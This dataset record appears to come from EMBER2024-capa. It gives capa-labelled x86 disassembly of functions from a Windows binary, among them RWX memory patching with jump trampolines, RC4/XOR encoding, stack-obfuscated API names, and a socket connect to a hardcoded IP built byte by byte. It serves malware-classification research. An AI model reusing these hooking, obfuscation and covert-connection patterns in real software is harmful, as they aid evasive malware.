joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4070e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4070fb
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x407134
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x407130
jmp 0x407120
cmp esi, eax
jae 0x407134
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x407120
cmp esi, eax
jb 0x40713b
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x407ad0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call ebx
test eax, eax
jne 0x407aee
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
push esi
push ecx
push edi
call fcn.004760f0
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push esi
push edi
call ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407b70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x407c48
cmp dword [ebp + 0xc], 0
je 0x407c48
lea ecx, [ebp - 4]
push ecx
call fcn.00407b10
add esp, 4
test eax, eax
je 0x407c48
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push edi
mov edi, dword [ebp - 4]
push 0x40
push 0x1000
lea edx, [edi + 0xe]
push edx
push 0
call ebx
mov ecx, dword [ebp + 8]
mov esi, eax
mov dword [esi], edi
push edi
add esi, 4
lea eax, [esi + 5]
push ecx
push eax
mov dword [ebp - 4], eax
call fcn.004760f0
add esp, 0xc
push 0x40
push 0x1000
push edi
push 0
call ebx
push edi
mov ebx, eax
push 0x90
push ebx
call fcn.00473d40
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
mov eax, dword [ebp + 8]
mov byte [esi], 0xe9
mov byte [esi + edi + 5], 0xe9
mov edx, eax
sub edx, esi
sub edx, 0xa
mov dword [esi + edi + 6], edx
sub esi, eax
sub esi, 5
mov dword [ebx + 1], esi
mov esi, edi
push ebx
mov edi, eax
mov byte [ebx], 0xe9
call fcn.00407ad0
add esp, 0x10
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
mov dword [0x52a868], eax
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x407c50
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x52a8f0]
push esi
push edi
call fcn.0044a600
xor ecx, ecx
xor esi, esi
xor edi, edi
cmp dword [ebp + 0xc], ecx
jle 0x407cb1
push ebx
lea esp, [esp]
inc ecx
and ecx, 0xff
mov dl, byte [ecx + eax]
movzx ebx, dl
add ebx, esi
and ebx, 0xff
mov esi, ebx
movzx ebx, byte [esi + eax]
mov byte [ecx + eax], bl
mov byte [esi + eax], dl
movzx ebx, byte [ecx + eax]
movzx edx, dl
add ebx, edx
mov edx, dword [ebp + 8]
and ebx, 0xff
movzx ebx, byte [ebx + eax]
xor byte [edi + edx], bl
inc edi
cmp edi, dword [ebp + 0xc]
jl 0x407c70
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x407e60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x52a8f8]
push ebx
mov ebx, dword [ebp + 8]
push edi
call fcn.0044a600
mov edi, eax
movzx eax, byte [esi + 4]
mov byte [edi], al
movzx ecx, byte [esi + 5]
mov byte [edi + 1], cl
mov dl, byte [esi + 6]
mov ecx, dword [0x52a8f4]
mov byte [edi + 2], dl
movzx eax, byte [esi + 7]
mov byte [edi + 3], al
call fcn.0044a600
movzx ecx, byte [eax]
xor byte [esi], cl
mov ecx, 1
cmp ebx, ecx
jle 0x407ebd
mov edx, ecx
and edx, 7
mov dl, byte [edx + eax]
xor dl, byte [ecx + esi - 1]
inc ecx
xor byte [ecx + esi - 1], dl
cmp ecx, ebx
jl 0x407ea8
movzx ecx, byte [eax + 2]
xor byte [esi + 3], cl
movzx edx, byte [eax + 3]
mov cl, byte [esi + 3]
xor dl, cl
xor byte [esi + 2], dl
movzx edx, byte [eax + 4]
mov cl, byte [esi + 2]
xor dl, cl
xor byte [esi + 1], dl
movzx edx, byte [eax + 5]
mov cl, byte [esi + 1]
xor dl, cl
xor byte [esi], dl
movzx ecx, byte [edi]
xor byte [eax], cl
movzx edx, byte [edi + 1]
xor byte [eax + 1], dl
movzx ecx, byte [edi + 2]
xor byte [eax + 2], cl
movzx edx, byte [edi + 3]
xor byte [eax + 3], dl
movzx ecx, byte [eax + 7]
movzx edx, byte [eax + 6]
shl ecx, 8
or ecx, edx
movzx edx, byte [eax + 5]
shl ecx, 8
or ecx, edx
movzx edx, byte [eax + 4]
shl ecx, 8
or ecx, edx
add ecx, 0x45c8740f
mov edx, ecx
sar edx, 8
mov byte [eax + 5], dl
mov edx, ecx
sar edx, 0x10
mov byte [eax + 4], cl
sar ecx, 0x18
pop edi
mov byte [eax + 6], dl
mov byte [eax + 7], cl
pop ebx
pop ebp
ret
Function at 0x409a40
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov edi, dword [0x52a8cc]
test edi, edi
je 0x409b50
cmp dword [edi], 0xffffffff
je 0x409b50
cmp byte [edi + 0x1400c], 0
je 0x409b50
push esi
mov esi, dword [ebp + 8]
lea eax, [ebx - 2]
push eax
add esi, 2
call fcn.00407e60
add esp, 4
xor esi, esi
test ebx, ebx
jle 0x409b4f
jmp 0x409a96
mov edi, dword [0x52a8cc]
mov edx, dword [ebp + 8]
push 0
mov ecx, ebx
sub ecx, esi
push ecx
mov ecx, dword [edi]
lea eax, [esi + edx]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x409ab5
add esi, eax
jmp 0x409ad2
cmp eax, 0xffffffff
jne 0x409ad2
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x409adb
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, ebx
jl 0x409a90
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x10
call fcn.004509b2
mov esi, eax
add esp, 4
mov dword [esi], 2
mov dword [esi + 4], 0xffffffff
mov dword [esi + 8], edi
call fcn.00409c40
mov ecx, dword [0x52a8ec]
test ecx, ecx
je 0x409b36
mov byte [esi + 0xc], 1
call fcn.0044a600
mov ecx, dword [eax + 4]
xor ecx, dword [eax]
mov eax, dword [0x52a8d8]
rol ecx, 3
mov edx, ecx
xor edx, esi
push edx
xor ecx, 0x11
push ecx
push 0x720
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
pop esi
pop edi
pop ebx
pop ebp
ret
push esi
push 2
mov byte [esi + 0xc], 0
mov ecx, dword [0x52a8d8]
push 0x4cb
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x409e60
Capabilities:
Connect socket
Create thread
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x31
mov eax, 2
mov byte [ebp - 0x10], cl
mov byte [ebp - 0xc], cl
mov word [ebp - 0x24], ax
mov al, 0x32
mov cl, 0x39
mov byte [ebp - 0xa], cl
mov byte [ebp - 8], cl
push esi
mov byte [ebp - 0x14], al
mov byte [ebp - 0x13], al
mov al, 0x2e
lea ecx, [ebp - 0x14]
push ecx
mov byte [ebp - 0x12], 0x33
mov byte [ebp - 0x11], al
mov byte [ebp - 0xf], 0x35
mov byte [ebp - 0xe], 0x36
mov byte [ebp - 0xd], al
mov byte [ebp - 0xb], 0x38
mov byte [ebp - 9], al
mov byte [ebp - 7], 0x30
mov byte [ebp - 6], 0
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x77d6
mov dword [ebp - 0x20], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x22], ax
mov eax, dword [0x52a8cc]
lea edx, [ebp - 0x28]
push edx
mov dword [ebp - 0x28], 1
mov ecx, dword [eax]
push 0x8004667e
push ecx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x409f0f
call fcn.00409c40
mov eax, 2
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
mov eax, dword [0x52a8cc]
mov ecx, dword [eax]
push 0x10
lea edx, [ebp - 0x24]
push edx
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov edx, dword [0x52a8cc]
lea ecx, [ebp - 0x30]
push ecx
mov dword [ebp - 0x138], 0
mov eax, dword [edx]
push 0
lea edx, [ebp - 0x138]
push edx
push 0
push 0x40
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x138], 1
mov dword [ebp - 0x30], 0xa
mov dword [ebp - 0x2c], 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x409f87
call fcn.00409c40
mov eax, 3
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
mov eax, dword [0x52a8cc]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4090b0
push 0
push 0
mov byte [eax + 0x1400c], 1
call esi
push 0
push 0
push 0
push 0x409b60
push 0
push 0
mov dword [0x52a8d0], eax
call esi
mov ecx, dword [ebp - 4]
mov dword [0x52a8d4], eax
xor ecx, ebp
xor eax, eax
pop esi
call fcn.0046e186
mov esp, ebp
pop ebp
ret
Function at 0x41bb50
Capabilities:
Create thread
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e562b
mov eax, dword fs:[0]
push eax
sub esp, 0x330
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x336]
push ecx
mov word [ebp - 0x338], ax
call fcn.00473d40
push 0x103
lea edx, [ebp - 0x12f]
push 0
push edx
mov byte [ebp - 0x130], 0
call fcn.00473d40
add esp, 0x18
push 0x104
lea eax, [ebp - 0x338]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0x338]
push ecx
push 0
push 0
call esi
push 0
push 0
push eax
lea edx, [ebp - 0x130]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x338]
push eax
push 0
push 0
call esi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetACP]
xor edi, edi
cmp eax, 0xfde9
jne 0x41bc4c
xor eax, eax
lea esi, [edi + 1]
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov byte [ebp - 0x13], al
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0xa
lea ecx, [ebp - 0x1c]
push ecx
push 0x1004
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jle 0x41bc4e
lea edx, [ebp - 0x1c]
push edx
call fcn.0046e7f3
add esp, 4
mov edi, eax
lea eax, [ebp - 0x130]
push 0x511a88
push eax
call fcn.0046ea50
add esp, 8
test eax, eax
je 0x41bd81
call fcn.00460929
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41bc84
push 0x80004005
call fcn.00407820
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x33c], eax
push edi
push esi
lea ecx, [ebp - 0x338]
push ecx
push 0x511ab0
lea edi, [ebp - 0x33c]
mov dword [ebp - 4], 0
call fcn.004073f0
mov edx, 0x57
mov eax, 0x61
mov word [ebp - 0x2c], dx
mov word [ebp - 0x2a], ax
mov ecx, 0x72
mov edx, 0x6e
mov eax, 0x69
mov word [ebp - 0x28], cx
mov ecx, edx
mov word [ebp - 0x26], dx
mov word [ebp - 0x24], ax
mov edx, 0x67
xor eax, eax
push 0x600
mov word [ebp - 0x22], cx
mov word [ebp - 0x20], dx
mov word [ebp - 0x1e], ax
call fcn.004509b2
mov esi, eax
add esp, 0x14
test esi, esi
je 0x41bd46
mov ecx, dword [ebp - 0x33c]
push ecx
mov edx, esi
call fcn.00405390
lea edx, [ebp - 0x2c]
push edx
lea edx, [esi + 0x400]
call fcn.004053b0
add esp, 8
push 0
push 0
push esi
push 0x4011e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x33c]
call fcn.00407440
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x33c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41bd7a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
jmp 0x41bd83
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
Function at 0x41be70
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e53e8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor edi, edi
push edi
push edi
push eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
cmp ebx, edi
jne 0x41bed1
push edi
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], edi
push 0x50f493
mov ecx, esi
mov byte [esi + 4], 0
call fcn.00404e60
jmp 0x41bf4d
push ebx
call fcn.004509ec
add esp, 4
mov edi, eax
mov eax, dword [ebp - 0x30]
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xor ebx, ebx
mov eax, edi
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41bf00
sub eax, edx
push eax
push edi
lea ecx, [ebp - 0x2c]
call fcn.00404e60
push edi
mov dword [ebp - 4], ebx
call fcn.004509e1
add esp, 4
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x2c]
push ecx
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov ecx, esi
mov byte [esi + 4], 0
call fcn.00404c50
cmp dword [ebp - 0x14], 0x10
jb 0x41bf4d
mov edx, dword [ebp - 0x28]
push edx
call fcn.004509e1
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
Function at 0x41bf70
Capabilities:
Contain obfuscated stackstrings
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e54f8
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov al, 0x5f
mov byte [ebp - 0x20], al
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x18], al
mov cl, 0x41
lea eax, [ebp - 0x20]
push eax
lea esi, [ebp - 0x3c]
mov byte [ebp - 0x1e], 0x43
mov byte [ebp - 0x1d], 0x4f
mov byte [ebp - 0x1c], 0x4d
mov byte [ebp - 0x1b], 0x50
mov byte [ebp - 0x1a], cl
mov byte [ebp - 0x19], 0x54
mov byte [ebp - 0x17], 0x4c
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], 0x59
mov byte [ebp - 0x14], 0x45
mov byte [ebp - 0x13], 0x52
mov byte [ebp - 0x12], 0
call fcn.0041be70
add esp, 4
mov eax, edi
mov dword [ebp - 4], 0
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41bff0
sub eax, edx
push eax
push edi
lea ecx, [ebp - 0x3c]
push ecx
xor eax, eax
call fcn.00441a20
cmp eax, 0xffffffff
jne 0x41c077
cmp dword [ebp - 0x28], 0
je 0x41c020
push 1
push 0x511b64
lea eax, [ebp - 0x3c]
call fcn.00442960
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c025
sub eax, edx
push eax
push edi
lea eax, [ebp - 0x3c]
call fcn.00442960
mov eax, dword [ebp - 0x38]
mov esi, 0x10
cmp dword [ebp - 0x24], esi
jae 0x41c048
lea eax, [ebp - 0x38]
push eax
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
je 0x41c062
cmp dword [ebp - 0x24], esi
jb 0x41c089
mov eax, dword [ebp - 0x38]
push eax
jmp 0x41c081
cmp dword [ebp - 0x24], esi
jb 0x41c073
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.004509e1
add esp, 4
xor al, al
jmp 0x41c08b
cmp dword [ebp - 0x24], 0x10
jb 0x41c089
mov edx, dword [ebp - 0x38]
push edx
call fcn.004509e1
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
Function at 0x42b050
Capabilities:
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5c
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, ecx
push eax
push esi
mov dword [edi], 0
call fcn.0042afe0
mov ebx, eax
test ebx, ebx
jne 0x42b083
mov dword [edi], 6
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebx + 0x20]
mov edx, dword [esi + 0x78]
push 0
push ecx
push edx
call fcn.00470fbd
mov eax, dword [esi + 0x78]
mov ecx, dword [ebx + 0x28]
mov edx, dword [0x52a944]
push eax
push 1
push ecx
push edx
call fcn.004714ed
mov ecx, dword [0x52ab50]
push 0
lea eax, [esp + 0x2c]
push eax
mov eax, dword [0x52a944]
mov dword [esp + 0x30], 0
mov edx, dword [ebx + 0x28]
push ecx
push edx
push eax
call fcn.004e2be0
add esp, 0x30
test eax, eax
jne 0x42b1da
mov ecx, dword [esp + 0xc]
cmp ecx, dword [ebx + 0x24]
jne 0x42b1da
mov eax, dword [0x52ab50]
movzx esi, word [eax]
movzx edi, word [eax + 2]
xor eax, eax
push 0x2c
push eax
lea edx, [esp + 0x44]
push edx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call fcn.00473d40
add esp, 0xc
push 0
push 0
lea edx, [esp + 0x18]
push edx
mov eax, 0x18
mov word [esp + 0x2e], ax
push 0
mov ecx, 1
lea eax, [esp + 0x4c]
mov word [esp + 0x30], cx
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], edi
push eax
mov ecx, 0xa
lea esi, [esp + 0x28]
lea edi, [esp + 0x50]
mov dword [esp + 0x28], 0x28
mov dword [esp + 0x38], 0
push 0
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x28], 0
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov esi, eax
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x42b1a2
mov ecx, dword [ebp + 0xc]
mov dword [ecx], 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebx + 0x24]
mov edx, dword [0x52ab50]
sub ecx, 4
add edx, 4
push eax
call fcn.004471d0
mov edi, dword [ebp + 8]
add esp, 4
mov ecx, edi
call fcn.00466074
push esi
mov ecx, edi
call fcn.00466048
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov dword [edi], 7
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x42d490
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, 0x65
mov cl, 0x6c
mov dl, 0x72
mov byte [ebp - 8], cl
mov byte [ebp - 7], cl
mov cl, 0x74
mov byte [ebp - 0xe], al
mov byte [ebp - 0x2f], al
mov byte [ebp - 0x2a], al
mov byte [ebp - 0x20], al
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x17], al
lea eax, [ebp - 0x30]
mov byte [ebp - 0x2e], cl
mov byte [ebp - 0x18], cl
mov byte [ebp - 0x15], cl
mov byte [ebp - 0xd], dl
mov byte [ebp - 0x2b], dl
mov byte [ebp - 0x21], dl
mov dl, 0x6e
push eax
lea ecx, [ebp - 0x10]
push ecx
mov byte [ebp - 0x10], 0x75
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xc], 0x33
mov byte [ebp - 0xb], 0x32
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x64
mov byte [ebp - 6], 0
mov byte [ebp - 0x30], 0x53
mov byte [ebp - 0x2d], 0x54
mov byte [ebp - 0x2c], 0x68
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x28], 0x64
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x70
mov byte [ebp - 0x25], 0x69
mov byte [ebp - 0x24], 0x41
mov byte [ebp - 0x23], 0x77
mov byte [ebp - 0x22], 0x61
mov byte [ebp - 0x1f], dl
mov byte [ebp - 0x1d], 0x73
mov byte [ebp - 0x1c], 0x73
mov byte [ebp - 0x1b], 0x43
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], dl
mov byte [ebp - 0x16], 0x78
mov byte [ebp - 0x14], 0
call fcn.00486d10
test eax, eax
je 0x42d55c
push esi
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.0046e186
mov esp, ebp
pop ebp
ret
Function at 0x42eb00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov cl, 0x64
mov dl, 0x76
mov byte [ebp - 0x12], dl
mov byte [ebp - 0x29], dl
mov dl, 0x53
push esi
mov byte [ebp - 0x13], cl
mov byte [ebp - 0xb], cl
mov bl, 0x6c
mov byte [ebp - 0x23], cl
mov byte [ebp - 0x18], cl
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x25], dl
mov byte [ebp - 0x20], dl
mov byte [ebp - 0x1a], dl
mov dword [ebp - 0x38], eax
mov al, 0x69
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], bl
push ecx
lea edx, [ebp - 0x14]
xor ebx, ebx
push edx
mov byte [ebp - 0x14], 0x41
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], al
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 8], bl
mov byte [ebp - 0x2c], 0x43
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x6e
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x24], al
mov byte [ebp - 0x22], 0x54
mov byte [ebp - 0x21], 0x6f
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], al
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x67
mov byte [ebp - 0x19], al
mov byte [ebp - 0x17], 0x57
mov byte [ebp - 0x16], bl
call fcn.00486d10
mov esi, eax
cmp esi, ebx
je 0x42ebfb
lea eax, [ebp - 0x30]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x42ebfb
mov edx, dword [ebp - 0x30]
lea ecx, [ebp - 0x34]
push ecx
push ebx
push ebx
push 1
push edx
mov dword [ebp - 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x42ec0d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x42ec0d
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x34]
push edi
push ecx
call fcn.0046e60f
mov edx, dword [ebp - 0x30]
mov edi, eax
add esp, 4
cmp edi, ebx
jne 0x42ec3d
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 0x34]
push eax
push ecx
push edi
push 1
push edx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x42ec79
push edi
call fcn.0046e374
mov eax, dword [ebp - 0x30]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x38]
mov edx, dword [edi]
push ecx
push edx
call esi
push edi
test eax, eax
je 0x42ec54
call fcn.0046e374
mov ecx, dword [ebp - 0x30]
add esp, 4
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0046e186
mov esp, ebp
pop ebp
ret